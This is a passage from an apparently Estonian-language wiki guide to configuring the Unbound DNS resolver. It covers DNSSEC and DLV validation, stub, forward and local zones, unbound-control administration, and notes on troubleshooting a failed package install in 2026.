 $ dig . ns +dnssec +multiline&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.7.2-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; . ns +dnssec +multiline&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 4737&lt;br /&gt;
 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;.                      IN NS&lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 .                       518267 IN NS m.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS g.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS b.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS h.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS a.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS e.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS k.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS f.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS c.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS j.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS i.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS l.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS d.root-servers.net.&lt;br /&gt;
 .                       518267 IN RRSIG NS 8 0 518400 20110409000000 (&lt;br /&gt;
                                 20110401230000 34525 .&lt;br /&gt;
                                 De4SFgTDwpgbz1JjTlaPzu7ZNRURLSnoYmQQQIZq7Gny&lt;br /&gt;
                                 RghOrsvS1soH5F43Gxr5BIi+422EBLJIrEHFnbvLy22S&lt;br /&gt;
                                 LqKtSw67eDdsBZyjE5fTtDHyYhnoR8YQWswgGVMRk4Ek&lt;br /&gt;
                                 iDDMIOk5pF+CvbML6TlvTWrnPCwNWXnbLFnT9SY= )&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 10.192.0.53#53(10.192.0.53)&lt;br /&gt;
 ;; WHEN: Sat Apr  2 18:44:16 2011&lt;br /&gt;
 ;; MSG SIZE  rcvd: 397&lt;br /&gt;
&lt;br /&gt;
kus tuleb tähele panna&lt;br /&gt;
&lt;br /&gt;
* vastus sisaldab RRSIG kirjet&lt;br /&gt;
* flags: qr rd ra ad - ad tähistab, et tegu on authoritative data sisaldusega&lt;br /&gt;
&lt;br /&gt;
====DLV====&lt;br /&gt;
&lt;br /&gt;
DLV seadistamiseks tuleb &lt;br /&gt;
&lt;br /&gt;
* kopeerida trust anchor fail kataloogi /var/unbound/etc&lt;br /&gt;
&lt;br /&gt;
  # cd /var/unbound/etc&lt;br /&gt;
  # ftp http://ftp.isc.org/www/dlv/dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
* Unbound seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
  dlv-anchor-file: &amp;quot;dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
Valideeritud nimepäringu vastus näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
  $ dig www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  &lt;br /&gt;
  ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.5.1-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  ;; global options:  printcmd&lt;br /&gt;
  ;; Got answer:&lt;br /&gt;
  ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 56069&lt;br /&gt;
  ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
  &lt;br /&gt;
  ;; OPT PSEUDOSECTION:&lt;br /&gt;
  ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;www.kaminskybug.se.    IN A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  www.kaminskybug.se.     3590 IN CNAME fou.iis.se.&lt;br /&gt;
  www.kaminskybug.se.     3590 IN RRSIG CNAME 5 3 3600 20100205210001 (&lt;br /&gt;
                                  20100126210001 13358 kaminskybug.se.&lt;br /&gt;
                                  goEav1vWK49WEvGY/G1EBKOgekQk11JvjsQxE7chH6Kg&lt;br /&gt;
                                  OwZNpOXwomE1z9zvLcwkD60CQAZWC9psA1z01iIwtOrt&lt;br /&gt;
                                  Yq6L+2A0PLVAAuRYeY3CQnbHoHRYClCUz0dIkxhtz9f/&lt;br /&gt;
                                  Um1AuC3FtqV6t9q8lLb4ooav0Ex64KuwoPPxqqs= )&lt;br /&gt;
  fou.iis.se.             3590 IN A 212.247.204.242&lt;br /&gt;
  fou.iis.se.             3590 IN RRSIG A 5 3 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  BOPpSETDBKu6CjOcz2ULnOnfRVoXfOXj9OjW4zwjPuWl&lt;br /&gt;
                                  7vJ8630yXsuSEe89RuH/ZsuOGbeJnumQ/XmD6ftWL9yM&lt;br /&gt;
                                  MPUF1ZYxCtExaBcIxhxDIFJv4E4RZAOkbb9ZdYKTglIL&lt;br /&gt;
                                  zDleOOms0iVgCAnnWJSnmDpzhfvr8xoTGlh7myE= )&lt;br /&gt;
  &lt;br /&gt;
  ;; AUTHORITY SECTION:&lt;br /&gt;
  iis.se.                 3590 IN NS ns.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns3.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns2.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN RRSIG NS 5 2 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  B3SheLIv8ouVPpFGjvM8q5fl9ZMnnPWR8x9QDD0uSxoH&lt;br /&gt;
                                  iV2fYHjiKC5a2+8Znsi4zSdO2AmH+reUCP74qvYpkl1K&lt;br /&gt;
                                  +NbEzndzzrJQ0XlT1icy3MC6vdvgdE7Opqjab/7iIiYV&lt;br /&gt;
                                  X9UjZpHKR284EljSrKJ0z53/T+12P3K0VU/dRFE= )&lt;br /&gt;
   &lt;br /&gt;
  ;; Query time: 1 msec&lt;br /&gt;
  ;; SERVER: 10.53.67.69#53(10.53.67.69)&lt;br /&gt;
  ;; WHEN: Sun Jan 31 00:25:39 2010&lt;br /&gt;
  ;; MSG SIZE  rcvd: 648&lt;br /&gt;
&lt;br /&gt;
kus ad lipp annab tunnistust, et vastus on valideeritud&lt;br /&gt;
&lt;br /&gt;
  flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
====Firefox DNSSEC lisa kasutamine====&lt;br /&gt;
&lt;br /&gt;
Firefox DNSSEC lisa https://addons.mozilla.org/en-us/firefox/addon/dnssec-validator/ abil saab brauseri kasutamise ajal tagasisidet kuidas käesolev nimi on lahendatud, nt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Unbound-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Seejuures tuleb arvestada, et DNSSEC iseenest tähendab, et nimi lahendes turvaliselt, järgneva andmevahetuse turvalisus on eraldi küsimus ja nt https:// on üks viis selle saavutamiseks.&lt;br /&gt;
&lt;br /&gt;
===domain-insecure tsoonid===&lt;br /&gt;
&lt;br /&gt;
Kui kasutatakse signeeritud tsoonifailiga juurnimeservereid ning mõnele lokaalsele mitte-dnssec nimeserverile viitavaid stub-zone sissekandeid, siis võib olla asjakohane kasutada lisaks ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;auul&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Lokaalsed nimekirjeldused===&lt;br /&gt;
&lt;br /&gt;
Lisaks sellele, et Unboundi kasutab nimede lahendamisel võrgus töötavaid autoriteetseid nimeservereid, saab kirjeldada seadistusfailis päri- ja pöördteisendusi&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;loomaaed.tartu.ee&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;loomaaed.tartu.ee A 192.168.10.100&amp;quot;&lt;br /&gt;
 ..&lt;br /&gt;
 local-data-ptr: &amp;quot;192.168.10.100 loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* local-zone - lokaalselt unboundis kirjeldatud tsooni nimi&lt;br /&gt;
* static - sellel positsioonil st type parameeter määrab põhiliselt, kuidas mitte kirjeldatud nime küsimisele vastatakse&lt;br /&gt;
* local-data - päriteisendus&lt;br /&gt;
* local-data-prt - pöördteisendus&lt;br /&gt;
&lt;br /&gt;
type väärtused&lt;br /&gt;
&lt;br /&gt;
* static - local-data abil mitte kirjeldatud nime küsimisele vastatakse NXDOMAIN&lt;br /&gt;
* nodefault - AS112 tsoonide puhul vastab Unbound vaikimisi NXDOMAIN vastusega, nodefault puhul püütakse vastavaid nimesid lahendada&lt;br /&gt;
* transparent - local-data abil mitte kirjeldatud nimi püütakse lahenada internetist, stub-zone abil vms viisil&lt;br /&gt;
* redirect - kõik alamdomeenid vastatakse local-data abil näidatud väärtusega&lt;br /&gt;
&lt;br /&gt;
===Stub tsoon===&lt;br /&gt;
&lt;br /&gt;
Stub tsooni abil saab öelda, millist pädevat nimeserverit kasutada mõne domeeni nimelahenduseks. Praktiliselt võiks seda vaja minna kui asutuses on nt kasutusel mitte-avalik pädev nimeserver ja domeeni 'auul.' nimede lahendamiseks tuleks kasutada seda; vastasel korral püüaks Unbound neid nimesid lahendada pöördudes interneti juurnimeserverite poole.&lt;br /&gt;
&lt;br /&gt;
Seadistusfailis kirjeldatakse stub tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;auul&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeni nimi&lt;br /&gt;
* stub-addr - domeeni pädeva nimeserveri ip aadress&lt;br /&gt;
* stub sõna viitab asjaolule, et Unbound saab näidatud nimeserverilt otse vastuse kätte&lt;br /&gt;
&lt;br /&gt;
Kui stub-zone abil on vaja teha mõne privaatsete aadressidega /24 subneti jaoks pöördteisendusi, siis tuleb tõenäoliselt kasutada koostöös selliseid direktiive&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;1.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 local-zone: &amp;quot;2.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 ....&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
   name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
   stub-addr: 192.168.1.247&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
  name: &amp;quot;10.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Oluline on panna tähele, et korrektsel juhul lahendatakse kirjeldatud tsoonid stub-addr nimeserveri poolt, muud privaatsed aadressid saavad vastuseks (vastuse genereerib Unbound ise)&lt;br /&gt;
&lt;br /&gt;
 $ dig -x 192.168.5.5&lt;br /&gt;
 .. &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 1480&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.      IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   10800   IN      SOA     localhost. nobody.invalid. 1 3600 1200 604800 10800&lt;br /&gt;
&lt;br /&gt;
Kui vastus on, siis midagi on valesti, sest Unbound on seda käinud internetis lahendamas&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.     IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   86400   IN      SOA     prisoner.iana.org. hostmaster.trex.fi. 1 604800 86400 2419200 86400&lt;br /&gt;
&lt;br /&gt;
===Forward tsoon===&lt;br /&gt;
&lt;br /&gt;
Forward tsooni abil saab öelda, millist rekursiivset nimeserverit kasutada mõne domeeni nimelahenduseks. Seadistusfailis kirjeldatakse forward tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;loomla.tartu.ee&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeninimi&lt;br /&gt;
* forward-addr - rekursiivse nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
Selleks, et suunata kõik päringud lahendamiseks edasi sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;.&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
===AS112 tsoonid===&lt;br /&gt;
&lt;br /&gt;
AS112 tsoonide hulka kuuluvad sellised pöördteisenduse tsoonid, vaikimisi vastab AS112 tsooni tehtud päringutele Unbound NXDOMAIN (põhjusel, et sisemiste arvutite poolt tehtud pöördteisenduspäringud ei jõuaks avalikku võrku)&lt;br /&gt;
&lt;br /&gt;
* 10.in-addr.arpa&lt;br /&gt;
* 16.172.in-addr.arpa&lt;br /&gt;
* ...&lt;br /&gt;
* 31.172.in-addr.arpa&lt;br /&gt;
* 168.192.in-addr.arpa&lt;br /&gt;
* 254.169.in-addr.arpa&lt;br /&gt;
* 2.0.192.in-addr.arpa&lt;br /&gt;
* 100.51.198.in-addr.arpa&lt;br /&gt;
* 113.0.203.in-addr.arpa&lt;br /&gt;
&lt;br /&gt;
Lisaks lahendab Unbound vaikimisi mõlemas suunas localhost - 127.0.0.1 teisendust justkui oleks kirjeldatud (sarnaselt on kirjeldatud ka IPv6 ::1)&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;localhost.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN A 127.0.0.1&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN AAAA ::1&lt;br /&gt;
 ..&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;127.in-addr.arpa.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;1.0.0.127.in-addr.arpa. 10800 IN PTR localhost.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Selleks, et asutuse lokaalses autoriteetses nimeserveris kirjeldatud privaatsete aadresside pöördteisendused töötaksid tuleb kirjeldada vastava tsooni jaoks local-zone väärtusega nodefault&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
    ...&lt;br /&gt;
    local-zone: &amp;quot;168.192.in-addr.arpa.&amp;quot; nodefault&lt;br /&gt;
    &lt;br /&gt;
ning nt 192.168.1 võrgu puhul näidata pädeva nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
===Jõudlus===&lt;br /&gt;
&lt;br /&gt;
* Unbound oskab kasutada mitut protsessorit ja nö keskpärasel riistvaral suudab teenidada kümneid tuhandeid päringuid sekundis.&lt;br /&gt;
* Unbound on 2-3 korda kiirem kui Bind.&lt;br /&gt;
&lt;br /&gt;
===Klientprogrammi unbound-host kasutamine===&lt;br /&gt;
&lt;br /&gt;
Klientprogramm unbound-host võimaldab nt kontrollida, kas nimelahenduse valideerimine töötab&lt;br /&gt;
&lt;br /&gt;
  # unbound-host -C unbound.conf -t A -v www.kaminskybug.se &lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 0: validator&lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 1: iterator&lt;br /&gt;
  www.kaminskybug.se is an alias for fou.iis.se. (secure)&lt;br /&gt;
  fou.iis.se has address 212.247.204.242 (secure)&lt;br /&gt;
&lt;br /&gt;
===Haldusprogramm unbound-control===&lt;br /&gt;
&lt;br /&gt;
Haldusprogrammiga unbound-control saab juhtida Unbound resolveri tööd ja küsida statistikat. Kuna unbound-control võimaldab resolveri töötamist oluliselt mõjutada, nt laadida cache sisu tekstifailist või resolveri seisata, siis peab hoolega jälgima, et unbound-control kasutamisele oleks seatud vajalikud piirangud.&lt;br /&gt;
&lt;br /&gt;
====Unbound resolveri ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
unbound-control suhtleb Unbound serveriga vaikimisi üle 953/tcp pordi. Osaliste autentimiseks kasutatakse avaliku-võtme tehnikat, vajalike võtmete genereerimiseks sobib kasutada unbound-control-setup utiliiti&lt;br /&gt;
&lt;br /&gt;
 # unbound-control-setup&lt;br /&gt;
 ... &lt;br /&gt;
 Signature ok&lt;br /&gt;
 subject=/CN=unbound-control&lt;br /&gt;
 Getting CA Private Key&lt;br /&gt;
 Setup success. Certificates created. Enable in unbound.conf file to use&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /var/unbound/etc kataloogi neli võtit, kask serveri ja kaks kliendi jaoks&lt;br /&gt;
&lt;br /&gt;
  unbound_control.key&lt;br /&gt;
  unbound_control.pem&lt;br /&gt;
  unbound_server.key&lt;br /&gt;
  unbound_server.pem&lt;br /&gt;
&lt;br /&gt;
unbound-control kasutamiseks tuleb vastav funktsionaalsus Unbound serveris sisse lülitada nt sektsiooniga&lt;br /&gt;
&lt;br /&gt;
  remote-control:&lt;br /&gt;
        control-enable: yes&lt;br /&gt;
        control-interface: 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
====unbound-control kasutamine====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi kasutab unbound-control Unbound serveri seadistusfaili, nt sobib alustuseks kasutada unbound serverit ja unbound-control utiliiti samas arvutis.&lt;br /&gt;
&lt;br /&gt;
* Unbound resolveri oleku küsimine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control status             &lt;br /&gt;
  version: 1.3.0&lt;br /&gt;
  verbosity: 1&lt;br /&gt;
  threads: 1&lt;br /&gt;
  modules: 2 [ validator iterator ]&lt;br /&gt;
  uptime: 1184 seconds&lt;br /&gt;
  unbound (pid 23298) is running...&lt;br /&gt;
&lt;br /&gt;
* Resolveri cacheist tsooni loomaaed.tartu.ee andmete kustutamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control flush_zone loomaaed.tartu.ee&lt;br /&gt;
  ok removed 3 rrsets, 2 messages and 0 key entries&lt;br /&gt;
&lt;br /&gt;
* Cache sisu esitamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control dump_cache&lt;br /&gt;
&lt;br /&gt;
====Resolveri kasutusstatistika====&lt;br /&gt;
&lt;br /&gt;
Üks unbound-control kasutusjuht on koguda resolveri kasutusstatistikat&lt;br /&gt;
&lt;br /&gt;
  # unbound-control stats_noreset&lt;br /&gt;
&lt;br /&gt;
Praktiliselt on seda sobiv automatiseerida Munin või Cacti tarkvaraga, mida on kirjeldatud aadressil http://www.unbound.net/documentation/howto_statistics.html.&lt;br /&gt;
&lt;br /&gt;
===Unbound ja NSD protsessid samas arvutis===&lt;br /&gt;
&lt;br /&gt;
Unbound seadistusfailis sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.org&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.org&amp;quot; &lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
&lt;br /&gt;
===IPv6 kasutamine===&lt;br /&gt;
&lt;br /&gt;
IPv6 kasutamiseks tuleb seadistusfailis näidata, millisel IPv6 aadressil protsess kuulab&lt;br /&gt;
&lt;br /&gt;
 interface: 2001:1530:90:11:192::53&lt;br /&gt;
&lt;br /&gt;
ning lubada asjakohastest võrkudest teenuse poole pöörduda, nt&lt;br /&gt;
 &lt;br /&gt;
 access-control: fd99::/64 allow&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb arvestada seda, et nimepäringute lahendamiseks kasutab Unbound ise IPv4 ja IPv6 võrku.&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* private-address ja private-domain kasutamine toimub koostöös&lt;br /&gt;
* private-domain loetleb domeenide nimed, mille alla kuuluvad kirjed võivad lahenduda privaatseteks aadressideks&lt;br /&gt;
* private-address määratleb, mida peetakse antud kasutusjuhtumil silmas privaatsete aadresside all&lt;br /&gt;
* üks unbound protssess saab tegeleda ainult ühe komplekti domeenide ja ühe komplekti privaatsete aadressidega&lt;br /&gt;
* vaikimisi ei lahenda unbound as112 hulka kuuluvate dns nimesid (nt 4.3.2.10.in-addr.arpa ptr kirje küsimust)&lt;br /&gt;
* local-zone abil saab teha erandeid mainitud as112 nimede lahenduses&lt;br /&gt;
&lt;br /&gt;
local-zone erandi tegemine 168.192.in-addr.arpa jaoks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
local-zone: &amp;quot;168.192.in-addr.arpa&amp;quot; transparent&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
  stub-addr: 10.192.0.53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Takerdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install unbound&lt;br /&gt;
root@arv:~# apt-get install unbound&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound-anchor&lt;br /&gt;
The following NEW packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound unbound-anchor&lt;br /&gt;
0 upgraded, 5 newly installed, 0 to remove and 49 not upgraded.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Setting up unbound (1.6.7-1ubuntu2.6+esm4) ...&lt;br /&gt;
Created symlink /etc/systemd/system/multi-user.target.wants/unbound.service → /lib/systemd/system/unbound.service.&lt;br /&gt;
Created symlink /etc/systemd/system/unbound.service.wants/unbound-resolvconf.service → /lib/systemd/system/unbound-resolvconf.service.&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
invoke-rc.d: initscript unbound, action &amp;quot;start&amp;quot; failed.&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (auto-restart) (Result: exit-code) since Tue 2026-06-16 11:21:17 EEST; 9ms ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 5650 ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS (code=exited, status=1/FAILURE)&lt;br /&gt;
  Process: 5304 ExecStartPre=/usr/lib/unbound/package-helper root_trust_anchor_update (code=exited, status=0/SUCCESS)&lt;br /&gt;
  Process: 5301 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
 Main PID: 5650 (code=exited, status=1/FAILURE)&lt;br /&gt;
Processing triggers for libc-bin (2.27-3ubuntu1.6+esm6) ...&lt;br /&gt;
Processing triggers for systemd (237-3ubuntu10.57+esm3) ...&lt;br /&gt;
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...&lt;br /&gt;
&lt;br /&gt;
root      5304  0.0  0.0   4636   896 ?        Ss   11:20   0:00 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
unbound   5307  0.0  0.0  34596  7820 ?        S    11:20   0:00  \_ /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# systemctl status unbound&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (start-pre) since Tue 2026-06-16 11:33:15 EEST; 38s ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 12287 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
Cntrl PID: 12290 (package-helper)&lt;br /&gt;
    Tasks: 2 (limit: 4915)&lt;br /&gt;
   CGroup: /system.slice/unbound.service&lt;br /&gt;
           ├─12290 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
           └─12293 /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&lt;br /&gt;
Jun 16 11:33:15 arv.auul.pri.ee systemd[1]: Starting Unbound DNS server...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lahenduse koht&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# head -n 10 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
&lt;br /&gt;
root@arv:~# head -n 20 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
